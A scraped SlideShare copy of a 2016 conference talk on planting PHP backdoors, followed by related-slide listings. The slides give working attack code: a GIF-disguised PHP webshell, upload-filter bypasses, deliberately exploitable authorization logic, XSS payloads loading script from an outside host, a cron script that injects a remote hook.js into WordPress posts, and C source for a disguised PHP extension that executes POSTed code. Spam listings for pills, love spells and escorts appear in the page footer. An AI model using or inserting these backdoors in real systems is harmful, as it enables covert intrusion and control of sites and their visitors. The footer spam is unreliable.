SlideShare a Scribd company logo
1 of 26
Download to read offline
PHP BACKDOOR:
THE RISE OF THE VULN
Sandro "guly" Zaccarini
www.endsummercamp.org
guly@EndSummerCamp 2k16
whoami
▸ Sandro "guly" Zaccarini
▸ born purple
▸ happy to build and break
guly@EndSummerCamp 2k16
agenda
▸ previous work
▸ web backdoor ecosystem
▸ induced web vulnerabilities
^^~pseudocode
guly@EndSummerCamp 2k16
previous work
▸ php backdoor obfuscation@ESC2k15
▸ how to execute code with php function
▸ how to hide/obfuscate a backdoor
guly@EndSummerCamp 2k16
backdoor context: requirements
▸ going in through port 80/443 is mandatory
▸ going out isn't
▸ has to be "hidden"
▸ must descend on application context
▸ should give privileged access
▸ could also be asynchronous
▸ must descend on application context
guly@EndSummerCamp 2k16
backdoor context: environment
▸ application layer: functions, like login and security check
▸ service layer: web server, application server, dbms
▸ operating system: permission, extension, configuration
guly@EndSummerCamp 2k16
backdoor context: application layer
▸ turns a "secure" webapp into a vulnerable one
▸ normally just needs read/write on docroot
▸ "easily" detectable if code is versioned
▸ doesn't survive to a good code review
▸ ...but survives to most coders' review
guly@EndSummerCamp 2k16
backdoor context: application layer
▸ file upload filters
▸ authorization routines
▸ sanity checks
▸ known buggy functions
▸ webapp configuration files
guly@EndSummerCamp 2k16
// fixed upload vulnerability: check if file
type is an image
if (!(exif_imagetype($file)) {
echo "file is not an imagen";
exit;
}
doUpload($file);
File upload exif_imagetype
shell.php:
GIF89a[CUT]<?php
exec($_GET['cmd'])
Comment: Pretend
that doUpload()
simply upload files,
with no further
check.
guly@EndSummerCamp 2k16
//assume just .php is interpreted as php
$blacklist = array('php');
$ext = strtolower(end(explode('.', $file)));
if (in_array($ext,$blacklist)) {
echo "extension blacklisted";
exit;
} else {
doUpload($file);
}
File upload extension with blacklist
shell.PhP
doUpload(strtolower($file));
guly@EndSummerCamp 2k16
$whitelist =
array(".swf",".zip",".rar",".jpg","jpeg",".png"
,".gif",".txt",".doc","docx",".htm","html",

".pdf",".mp3",".avi",".mpg",".ppt",".pps");
$ext = strtolower(substr($filename,-4));
if (in_array($ext,$whitelist)) {
doUpload($file);
}
File upload extension with whitelist
shell.phtml
guly@EndSummerCamp 2k16
$whitelist = array("jpg","png");
$ext = strtolower(end(explode('.', $file)));
if (!(in_array($ext,$whitelist))) {
echo "invalid file extensionn";
exit;
}
// avoid error on writing files with name
longer than filesystem limits
if ((strlen($file)) > 255) {
$file = substr($file,0,255);
}
doUpload($file);
File upload name length
Ax251.php.jpg
guly@EndSummerCamp 2k16
Authorization misuse
/* getRole: SELECT role from users where user
= '$user'; */
/* listUsers: SELECT name from users where
role > 0 */
/* listAdmins: SELECT name from users where
role = '0' */
$role = getRole($user);
if ($role == 0) {
isAdmin();
} else {
isUser();
}
alter table users modify role varchar(2);
update users set role = '0e';
Comment: getRole,
listUsers,listAdmins
are functions present
in admin dashboard

this is a login page
guly@EndSummerCamp 2k16
Authorization misuse[bis]
/* getRole: SELECT role from users where user
= '$user'; */
/* listUsers: SELECT name from users where
role > 0 */
/* listAdmins: SELECT name from users where
role = '0' */
$role = getRole($user);
if ($role == 0) {
isAdmin();
} else {
isUser();
}
alter table users modify role varchar(2);
update users set role = 'a';
if ($role > 0) {
isUser();
} else {
isAdmin();
}
Comment: if we switch the if statement,
we aren't even vulnerable to type juggling
and code analysis won't tell you that you
shouldn't use ==
guly@EndSummerCamp 2k16
function doLogin() {
if ($rememberme) { rememberMe($user) };
doStuff();
}
function rememberMe($user) {
$value = hash(sha256,$user+time());
setcookie('rememberme',$value,time()+(60*60*24*365));
}
function showLogin() { ?>
<html><head><script src=js/loginpage.js></script></head><body>
<form id=loginform>
<!-- don't use, it's unsafe!!
<label><input type=checkbox id=rememberme value=rememberme>Remember me</label>
-->
</form></body></html>
<?php }
/* js/loginpage.js */
$(document).ready(function(){
$('dothings');
$('#loginform').on('submit', function(e){
$('.rememberme')[0].checked = true;
this.submit();
});
});
Remember me cookie
guly@EndSummerCamp 2k16
backdoor context: service layer
▸ normally quite hidden
▸ and not so much detectable
▸ ...if you don't alter application codebase
▸ keeps logs quite clean
▸ almost everytime survives to code review
guly@EndSummerCamp 2k16
backdoor context: service layer
▸ php.ini: register_globals on (PHP <5.4)
▸ php.ini: open_basedir+set_include_path
▸ .htaccess: AddType application/x-httpd-php .jpeg
▸ database tampering: CHARSET GBK
guly@EndSummerCamp 2k16
/*
* php.ini:
* include_path .= "/var/www/html/uploads/"
* open_basedir .= "/var/www/html/uploads/"
*/
function show($context) {
// (pretend) it's safe because of open_basedir and
// include_path = "/var/www/context/"
// docroot /var/www/html/
include $context.'.php';
// $context.php has specific run() foreach context
run($stuff);
}
function upload($file) {
// safe because /var/www/html/uploads php_flag engine off
doUpload($file);
}
include_path tampering
upload guly.php
gu.ly/?context=guly
http://gu.ly/?context=news
http://gu.ly/?context=about
guly@EndSummerCamp 2k16
DNS PTR XSS
function updateLogged($user) {
sanitize($user);
$ip = $_SERVER['REMOTE_ADDR'];
$resolver = new Net_DNS2_Resolver();
$res = $resolver->query($ip, 'PTR');
/* no need to sanitize DNS response, RFC does */
$host = $res->answer[0]->rdata;
$sql = "INSERT INTO tracking (usr,ip,host) value";
$sql .= "('".$user."','".$ip."','".$host."')";
}
function showLogged($id) {
/* input from database already sanitized at updateLogged */
list ($user,$ip,$host) = getRecords($id);
echo "User ".$user.", last login from ".$ip."(".$host.")n";
}
PTR: gu.ly<script/src=//gu.ly/s.js></script>
guly@EndSummerCamp 2k16
DB injected XSS
include "/var/www/html/wordpress/wp-config.php";
$blink = '<script src="http://gu.ly/hook.js"></script>';
$link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME);
$res = mysqli_query($link,"SELECT ID,post_content as pc FROM
wp_posts ORDER BY ID DESC LIMIT 1");
$row = $res->fetch_assoc();
if (!(strpos($row['pc'],$blink))) {
$query = 'UPDATE wp_posts set
post_content="'.mysqli_real_escape_string($link,$row['pc']);
$query .= mysqli_real_escape_string($link,$blink).'"
WHERE id ="'.$row["ID"].'"';
mysqli_query($link,$query);
}
mysqli_close($link);
/etc/cron.daily/wordpress
#!/usr/bin/php
guly@EndSummerCamp 2k16
backdoor context: operating system
▸ doesn't always need root privileges, but mostly
▸ detectable by sys/network admin, but not by devs
▸ logs should be clean
▸ ...monitoring system shouldn't
▸ could be removed by sys update
guly@EndSummerCamp 2k16
backdoor context: operating system
▸ local SMTP relay
▸ redirect network flows
▸ buggy^Wimproved webserver extension
guly@EndSummerCamp 2k16
phpbd.so
PHP_RINIT_FUNCTION(phpbd);
zend_module_entry phpbd_ext_module_entry = {
STANDARD_MODULE_HEADER, "a safe ext", NULL, NULL, NULL,
PHP_RINIT(phpbd), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(phpbd_ext);
PHP_RINIT_FUNCTION(phpbd) {
char* method = "_POST";
char* evocate = "evocate";
zval** arr; char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) !=
FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, evocate, strlen(evocate) + 1, (void**)&val) != FAILURE) {
code = Z_STRVAL_PP(val);
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC);
}
}
return SUCCESS;
}
POST evocate=system()
/etc/php.ini:
extension=phpbd.so
guly@EndSummerCamp 2k16
mysqli.so
/* {{{ proto bool mysqli_stmt_execute(object stmt)
Execute a prepared statement */
PHP_FUNCTION(mysqli_stmt_execute) {
MY_STMT *stmt;
zval *mysql_stmt;
if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
getThis(), "O", &mysql_stmt, mysqli_stmt_class_entry) == FAILURE) {
return;
}
MYSQLI_FETCH_RESOURCE_STMT(stmt, &mysql_stmt,
MYSQLI_STATUS_VALID);
/**/
// INSERT INTO sessions SET (userid,group,sessionid,expire)
if (stmt->param.var[1] == '0') { //role 0 auth as admin
sendMail(stmt->param.var[2]);
}
100% non-working code!
(php mysqli_api.c)
guly@EndSummerCamp 2k16
backdoor examples
▸ File upload filter by exif_imagetype() (A)
▸ File upload extension with blacklist (A)
▸ File upload extension with whitelist (A)
▸ File upload filename length (A)
▸ Authorization misuse (A)
▸ Remember me cookie (A)
▸ include_path tampering (S)
▸ DNS PTR XSS (S)
▸ DB injected XSS (S)
▸ php ext backdoor (OS)
▸ mysqli.so tampering (OS)
guly@EndSummerCamp 2k16
thanks!
▸ Acta est fabula, plaudite!
▸ Wait wait, any question?
▸ feedback please!
▸ guly@guly.org
▸ @theguly

More Related Content

What's hot

Service intergration
Service intergration Service intergration
Service intergration 재민 장
 
ZeroMQ Is The Answer
ZeroMQ Is The AnswerZeroMQ Is The Answer
ZeroMQ Is The AnswerIan Barber
 
ZeroMQ: Messaging Made Simple
ZeroMQ: Messaging Made SimpleZeroMQ: Messaging Made Simple
ZeroMQ: Messaging Made SimpleIan Barber
 
The Joy of Smartmatch
The Joy of SmartmatchThe Joy of Smartmatch
The Joy of SmartmatchAndrew Shitov
 
How to stand on the shoulders of giants
How to stand on the shoulders of giantsHow to stand on the shoulders of giants
How to stand on the shoulders of giantsIan Barber
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
Perl web frameworks
Perl web frameworksPerl web frameworks
Perl web frameworksdiego_k
 
Logstash for SEO: come monitorare i Log del Web Server in realtime
Logstash for SEO: come monitorare i Log del Web Server in realtimeLogstash for SEO: come monitorare i Log del Web Server in realtime
Logstash for SEO: come monitorare i Log del Web Server in realtimeAndrea Cardinale
 
Webrtc mojo
Webrtc mojoWebrtc mojo
Webrtc mojobpmedley
 
PHP7 - Scalar Type Hints & Return Types
PHP7 - Scalar Type Hints & Return TypesPHP7 - Scalar Type Hints & Return Types
PHP7 - Scalar Type Hints & Return TypesEric Poe
 
Web Apps in Perl - HTTP 101
Web Apps in Perl - HTTP 101Web Apps in Perl - HTTP 101
Web Apps in Perl - HTTP 101hendrikvb
 
Debugging: Rules & Tools
Debugging: Rules & ToolsDebugging: Rules & Tools
Debugging: Rules & ToolsIan Barber
 

What's hot (20)

Service intergration
Service intergration Service intergration
Service intergration
 
Perl6 in-production
Perl6 in-productionPerl6 in-production
Perl6 in-production
 
Wsomdp
WsomdpWsomdp
Wsomdp
 
ZeroMQ Is The Answer
ZeroMQ Is The AnswerZeroMQ Is The Answer
ZeroMQ Is The Answer
 
ZeroMQ: Messaging Made Simple
ZeroMQ: Messaging Made SimpleZeroMQ: Messaging Made Simple
ZeroMQ: Messaging Made Simple
 
The Joy of Smartmatch
The Joy of SmartmatchThe Joy of Smartmatch
The Joy of Smartmatch
 
How to stand on the shoulders of giants
How to stand on the shoulders of giantsHow to stand on the shoulders of giants
How to stand on the shoulders of giants
 
Inc
IncInc
Inc
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Perl web frameworks
Perl web frameworksPerl web frameworks
Perl web frameworks
 
C99
C99C99
C99
 
Perl 6 by example
Perl 6 by examplePerl 6 by example
Perl 6 by example
 
Logstash for SEO: come monitorare i Log del Web Server in realtime
Logstash for SEO: come monitorare i Log del Web Server in realtimeLogstash for SEO: come monitorare i Log del Web Server in realtime
Logstash for SEO: come monitorare i Log del Web Server in realtime
 
Perl6 grammars
Perl6 grammarsPerl6 grammars
Perl6 grammars
 
Webrtc mojo
Webrtc mojoWebrtc mojo
Webrtc mojo
 
PHP7 - Scalar Type Hints & Return Types
PHP7 - Scalar Type Hints & Return TypesPHP7 - Scalar Type Hints & Return Types
PHP7 - Scalar Type Hints & Return Types
 
Web Apps in Perl - HTTP 101
Web Apps in Perl - HTTP 101Web Apps in Perl - HTTP 101
Web Apps in Perl - HTTP 101
 
Malcon2017
Malcon2017Malcon2017
Malcon2017
 
Php Security
Php SecurityPhp Security
Php Security
 
Debugging: Rules & Tools
Debugging: Rules & ToolsDebugging: Rules & Tools
Debugging: Rules & Tools
 

Viewers also liked

Hackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingHackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingAkash Mahajan
 
Exploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web applicationExploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web applicationVishal Kumar
 
How To Avoid The Top Ten Software Security Flaws
How To Avoid The Top Ten Software Security FlawsHow To Avoid The Top Ten Software Security Flaws
How To Avoid The Top Ten Software Security FlawsPriyanka Aash
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP ApplicationsAditya Mooley
 
PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013rjsmelo
 
Essentials of Web Application Security: what it is, why it matters and how to...
Essentials of Web Application Security: what it is, why it matters and how to...Essentials of Web Application Security: what it is, why it matters and how to...
Essentials of Web Application Security: what it is, why it matters and how to...Cenzic
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Colin O'Dell
 
A Simple Laboratory Environment for Real World Offensive Security Education
A Simple Laboratory Environment for Real World Offensive Security EducationA Simple Laboratory Environment for Real World Offensive Security Education
A Simple Laboratory Environment for Real World Offensive Security Educationchunkybacon
 
Security in PHP Applications: An absolute must!
Security in PHP Applications: An absolute must!Security in PHP Applications: An absolute must!
Security in PHP Applications: An absolute must!Mark Niebergall
 
Application Security on a Dime: A Practical Guide to Using Functional Open So...
Application Security on a Dime: A Practical Guide to Using Functional Open So...Application Security on a Dime: A Practical Guide to Using Functional Open So...
Application Security on a Dime: A Practical Guide to Using Functional Open So...POSSCON
 
Nullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
Nullcon Jailbreak CTF 2012,Walkthrough by Team LoosersNullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
Nullcon Jailbreak CTF 2012,Walkthrough by Team LoosersAjith Chandran
 
Web application security
Web application securityWeb application security
Web application securityKapil Sharma
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris Hillman
 
Security Testing by Ken De Souza
Security Testing by Ken De SouzaSecurity Testing by Ken De Souza
Security Testing by Ken De SouzaQA or the Highway
 
Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Imperva
 

Viewers also liked (20)

Hackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingHackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web Programming
 
Exploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web applicationExploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web application
 
How To Avoid The Top Ten Software Security Flaws
How To Avoid The Top Ten Software Security FlawsHow To Avoid The Top Ten Software Security Flaws
How To Avoid The Top Ten Software Security Flaws
 
Php security
Php securityPhp security
Php security
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP Applications
 
PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013
 
Essentials of Web Application Security: what it is, why it matters and how to...
Essentials of Web Application Security: what it is, why it matters and how to...Essentials of Web Application Security: what it is, why it matters and how to...
Essentials of Web Application Security: what it is, why it matters and how to...
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016
 
A Simple Laboratory Environment for Real World Offensive Security Education
A Simple Laboratory Environment for Real World Offensive Security EducationA Simple Laboratory Environment for Real World Offensive Security Education
A Simple Laboratory Environment for Real World Offensive Security Education
 
LFI to RCE
LFI to RCELFI to RCE
LFI to RCE
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
Security in PHP Applications: An absolute must!
Security in PHP Applications: An absolute must!Security in PHP Applications: An absolute must!
Security in PHP Applications: An absolute must!
 
Application Security on a Dime: A Practical Guide to Using Functional Open So...
Application Security on a Dime: A Practical Guide to Using Functional Open So...Application Security on a Dime: A Practical Guide to Using Functional Open So...
Application Security on a Dime: A Practical Guide to Using Functional Open So...
 
Nullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
Nullcon Jailbreak CTF 2012,Walkthrough by Team LoosersNullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
Nullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
 
Web application security
Web application securityWeb application security
Web application security
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Nikto
NiktoNikto
Nikto
 
Security Testing by Ken De Souza
Security Testing by Ken De SouzaSecurity Testing by Ken De Souza
Security Testing by Ken De Souza
 
Php web app security (eng)
Php web app security (eng)Php web app security (eng)
Php web app security (eng)
 
Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101
 

Similar to PHP Backdoor: The rise of the vuln

Debugging: Rules And Tools - PHPTek 11 Version
Debugging: Rules And Tools - PHPTek 11 VersionDebugging: Rules And Tools - PHPTek 11 Version
Debugging: Rules And Tools - PHPTek 11 VersionIan Barber
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploySimon Su
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy CodeRowan Merewood
 
Golang Project Layout and Practice
Golang Project Layout and PracticeGolang Project Layout and Practice
Golang Project Layout and PracticeBo-Yi Wu
 
Burn down the silos! Helping dev and ops gel on high availability websites
Burn down the silos! Helping dev and ops gel on high availability websitesBurn down the silos! Helping dev and ops gel on high availability websites
Burn down the silos! Helping dev and ops gel on high availability websitesLindsay Holmwood
 
Xdebug - Derick Rethans - Barcelona PHP Conference 2008
Xdebug - Derick Rethans - Barcelona PHP Conference 2008Xdebug - Derick Rethans - Barcelona PHP Conference 2008
Xdebug - Derick Rethans - Barcelona PHP Conference 2008phpbarcelona
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applicationschartjes
 
X64服务器 lnmp服务器部署标准 new
X64服务器 lnmp服务器部署标准 newX64服务器 lnmp服务器部署标准 new
X64服务器 lnmp服务器部署标准 newYiwei Ma
 
2012 coscup - Build your PHP application on Heroku
2012 coscup - Build your PHP application on Heroku2012 coscup - Build your PHP application on Heroku
2012 coscup - Build your PHP application on Herokuronnywang_tw
 
Curscatalyst
CurscatalystCurscatalyst
CurscatalystKar Juan
 
How to go the extra mile on monitoring
How to go the extra mile on monitoringHow to go the extra mile on monitoring
How to go the extra mile on monitoringTiago Simões
 
Charla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebCharla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebMikel Torres Ugarte
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and newLarry Cashdollar
 
わかった気になるgitit-0.8
わかった気になるgitit-0.8わかった気になるgitit-0.8
わかった気になるgitit-0.8Kiwamu Okabe
 
Web development automatisation for fun and profit (Artem Daniliants)
Web development automatisation for fun and profit (Artem Daniliants)Web development automatisation for fun and profit (Artem Daniliants)
Web development automatisation for fun and profit (Artem Daniliants)LumoSpark
 
Vagrant for real codemotion (moar tips! ;-))
Vagrant for real codemotion (moar tips! ;-))Vagrant for real codemotion (moar tips! ;-))
Vagrant for real codemotion (moar tips! ;-))Michele Orselli
 
Painless Perl Ports with cpan2port
Painless Perl Ports with cpan2portPainless Perl Ports with cpan2port
Painless Perl Ports with cpan2portBenny Siegert
 

Similar to PHP Backdoor: The rise of the vuln (20)

Debugging: Rules And Tools - PHPTek 11 Version
Debugging: Rules And Tools - PHPTek 11 VersionDebugging: Rules And Tools - PHPTek 11 Version
Debugging: Rules And Tools - PHPTek 11 Version
 
Puppet Camp 2012
Puppet Camp 2012Puppet Camp 2012
Puppet Camp 2012
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploy
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy Code
 
Golang Project Layout and Practice
Golang Project Layout and PracticeGolang Project Layout and Practice
Golang Project Layout and Practice
 
Burn down the silos! Helping dev and ops gel on high availability websites
Burn down the silos! Helping dev and ops gel on high availability websitesBurn down the silos! Helping dev and ops gel on high availability websites
Burn down the silos! Helping dev and ops gel on high availability websites
 
Xdebug - Derick Rethans - Barcelona PHP Conference 2008
Xdebug - Derick Rethans - Barcelona PHP Conference 2008Xdebug - Derick Rethans - Barcelona PHP Conference 2008
Xdebug - Derick Rethans - Barcelona PHP Conference 2008
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applications
 
X64服务器 lnmp服务器部署标准 new
X64服务器 lnmp服务器部署标准 newX64服务器 lnmp服务器部署标准 new
X64服务器 lnmp服务器部署标准 new
 
2012 coscup - Build your PHP application on Heroku
2012 coscup - Build your PHP application on Heroku2012 coscup - Build your PHP application on Heroku
2012 coscup - Build your PHP application on Heroku
 
Curscatalyst
CurscatalystCurscatalyst
Curscatalyst
 
How to go the extra mile on monitoring
How to go the extra mile on monitoringHow to go the extra mile on monitoring
How to go the extra mile on monitoring
 
Charla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebCharla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo Web
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and new
 
わかった気になるgitit-0.8
わかった気になるgitit-0.8わかった気になるgitit-0.8
わかった気になるgitit-0.8
 
Hacking with hhvm
Hacking with hhvmHacking with hhvm
Hacking with hhvm
 
Vagrant for real
Vagrant for realVagrant for real
Vagrant for real
 
Web development automatisation for fun and profit (Artem Daniliants)
Web development automatisation for fun and profit (Artem Daniliants)Web development automatisation for fun and profit (Artem Daniliants)
Web development automatisation for fun and profit (Artem Daniliants)
 
Vagrant for real codemotion (moar tips! ;-))
Vagrant for real codemotion (moar tips! ;-))Vagrant for real codemotion (moar tips! ;-))
Vagrant for real codemotion (moar tips! ;-))
 
Painless Perl Ports with cpan2port
Painless Perl Ports with cpan2portPainless Perl Ports with cpan2port
Painless Perl Ports with cpan2port
 

Recently uploaded

Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsArshad QA
 
The title is not connected to what is inside
The title is not connected to what is insideThe title is not connected to what is inside
The title is not connected to what is insideshinachiaurasa2
 
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...Health
 
WSO2CON2024 - It's time to go Platformless
WSO2CON2024 - It's time to go PlatformlessWSO2CON2024 - It's time to go Platformless
WSO2CON2024 - It's time to go PlatformlessWSO2
 
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfonteinmasabamasaba
 
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
Direct Style Effect Systems -The Print[A] Example- A Comprehension AidDirect Style Effect Systems -The Print[A] Example- A Comprehension Aid
Direct Style Effect Systems - The Print[A] Example - A Comprehension AidPhilip Schwarz
 
WSO2CON 2024 - Does Open Source Still Matter?
WSO2CON 2024 - Does Open Source Still Matter?WSO2CON 2024 - Does Open Source Still Matter?
WSO2CON 2024 - Does Open Source Still Matter?WSO2
 
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrainmasabamasaba
 
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Atlanta Psychic Readings, Attraction spells,Brin...masabamasaba
 
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...Bert Jan Schrijver
 
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park %in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park masabamasaba
 
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...
Crypto Cloud Review - How To Earn Up To $500 Per DAY Of Bitcoin 100% On AutoP...SelfMade bd
 
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️Delhi Call girls
 
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM TechniquesAI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM TechniquesVictorSzoltysek
 
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...WSO2
 
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...masabamasaba
 
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfontein
%in Stilfontein+277-882-255-28 abortion pills for sale in Stilfonteinmasabamasaba
 
%in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park %in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park masabamasaba
 
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) SolutionIntroducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) SolutionOnePlan Solutions
 

Recently uploaded (20)

Software Quality Assurance Interview Questions
Software Quality Assurance Interview QuestionsSoftware Quality Assurance Interview Questions
Software Quality Assurance Interview Questions
 
The title is not connected to what is inside
The title is not connected to what is insideThe title is not connected to what is inside
The title is not connected to what is inside
 
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
 
WSO2CON2024 - It's time to go Platformless
WSO2CON2024 - It's time to go PlatformlessWSO2CON2024 - It's time to go Platformless
WSO2CON2024 - It's time to go Platformless
 
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
%in kaalfontein+277-882-255-28 abortion pills for sale in kaalfontein
 
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
Direct Style Effect Systems -The Print[A] Example- A Comprehension AidDirect Style Effect Systems -The Print[A] Example- A Comprehension Aid
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
 
WSO2CON 2024 - Does Open Source Still Matter?
WSO2CON 2024 - Does Open Source Still Matter?WSO2CON 2024 - Does Open Source Still Matter?
WSO2CON 2024 - Does Open Source Still Matter?
 
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
